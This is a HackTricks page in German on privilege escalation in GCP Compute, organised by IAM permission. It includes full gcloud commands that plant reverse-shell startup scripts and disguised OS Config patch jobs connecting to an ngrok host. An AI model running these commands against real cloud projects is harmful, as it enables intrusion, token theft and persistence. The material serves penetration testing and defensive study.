GCP - Compute Privesc

Support HackTricks

Compute

Für weitere Informationen zu Compute und VPC (Netzwerk) in GCP siehe:

GCP - Compute Enum

Beachte, dass du für die Durchführung aller Privilegieneskalationsangriffe, die eine Änderung der Metadaten der Instanz erfordern (wie das Hinzufügen neuer Benutzer und SSH-Schlüssel), actAs-Berechtigungen über das an die Instanz angehängte SA benötigst, selbst wenn das SA bereits angehängt ist!

compute.projects.setCommonInstanceMetadata

Mit dieser Berechtigung kannst du die Metadaten-Informationen einer Instanz ändern und die autorisierte Schlüssel eines Benutzers ändern oder einen neuen Benutzer mit sudo-Berechtigungen erstellen. Daher wirst du in der Lage sein, über SSH in jede VM-Instanz zu exec und das GCP-Servicekonto zu stehlen, mit dem die Instanz läuft. Einschränkungen:

  • Beachte, dass GCP-Servicekonten, die standardmäßig in VM-Instanzen ausgeführt werden, einen sehr eingeschränkten Geltungsbereich haben.

  • Du musst in der Lage sein, den SSH-Server zu kontaktieren, um dich anzumelden.

Für weitere Informationen darüber, wie du diese Berechtigung ausnutzen kannst, siehe:

GCP - Add Custom SSH Metadata

Du könntest diesen Angriff auch durchführen, indem du ein neues Startskript hinzufügst und die Instanz neu startest:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Diese Berechtigung gibt die gleichen Privilegien wie die vorherige Berechtigung, jedoch über spezifische Instanzen anstelle eines gesamten Projekts. Die gleichen Exploits und Einschränkungen wie im vorherigen Abschnitt gelten.

compute.instances.setIamPolicy

Diese Art von Berechtigung ermöglicht es Ihnen, sich selbst eine Rolle mit den vorherigen Berechtigungen zu gewähren und Privilegien durch deren Missbrauch zu eskalieren.

compute.instances.osLogin

Wenn OSLogin in der Instanz aktiviert ist, können Sie mit dieser Berechtigung einfach gcloud compute ssh [INSTANCE] ausführen und sich mit der Instanz verbinden. Sie werden keine Root-Rechte innerhalb der Instanz haben.

Um sich erfolgreich mit dieser Berechtigung innerhalb der VM-Instanz anzumelden, müssen Sie die Berechtigung iam.serviceAccounts.actAs über das an die VM angehängte SA haben.

compute.instances.osAdminLogin

Wenn OSLogin in der Instanz aktiviert ist, können Sie mit dieser Berechtigung einfach gcloud compute ssh [INSTANCE] ausführen und sich mit der Instanz verbinden. Sie werden Root-Rechte innerhalb der Instanz haben.

Um sich erfolgreich mit dieser Berechtigung innerhalb der VM-Instanz anzumelden, müssen Sie die Berechtigung iam.serviceAccounts.actAs über das an die VM angehängte SA haben.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Es ist möglich, eine virtuelle Maschine mit einem zugewiesenen Dienstkonto zu erstellen und das Token des Dienstkontos zu stehlen, indem man auf die Metadaten zugreift, um die Privilegien zu eskalieren.

Das Exploit-Skript für diese Methode finden Sie hier.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Wenn Sie die Berechtigungen osconfig.patchDeployments.create oder osconfig.patchJobs.exec haben, können Sie einen Patch-Job oder eine Bereitstellung erstellen. Dies ermöglicht es Ihnen, lateral in der Umgebung zu bewegen und Codeausführung auf allen Compute-Instanzen innerhalb eines Projekts zu erlangen.

Beachten Sie, dass Sie im Moment keine actAs-Berechtigung über das an die Instanz angehängte SA benötigen.

Wenn Sie dies manuell ausnutzen möchten, müssen Sie entweder einen Patch-Job oder eine Bereitstellung** erstellen.** Für einen Patch-Job führen Sie aus:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Um ein Patch-Deployment bereitzustellen:

gcloud compute os-config patch-deployments create <name> ...

Das Tool patchy konnte in der Vergangenheit für das Ausnutzen dieser Fehlkonfiguration verwendet werden (aber jetzt funktioniert es nicht mehr).

Ein Angreifer könnte dies auch für Persistenz ausnutzen.

compute.machineImages.setIamPolicy

Gewähren Sie sich zusätzliche Berechtigungen für das Compute-Image.

compute.snapshots.setIamPolicy

Gewähren Sie sich zusätzliche Berechtigungen für einen Festplattensnapshot.

compute.disks.setIamPolicy

Gewähren Sie sich zusätzliche Berechtigungen für eine Festplatte.

Umgehung von Zugriffsberechtigungen

Folgen Sie diesem Link, um einige Ideen zur Umgehung von Zugriffsberechtigungen zu finden.

Lokale Privilegieneskalation in GCP Compute-Instanz

GCP - local privilege escalation ssh pivoting

Referenzen

Unterstützen Sie HackTricks

Last updated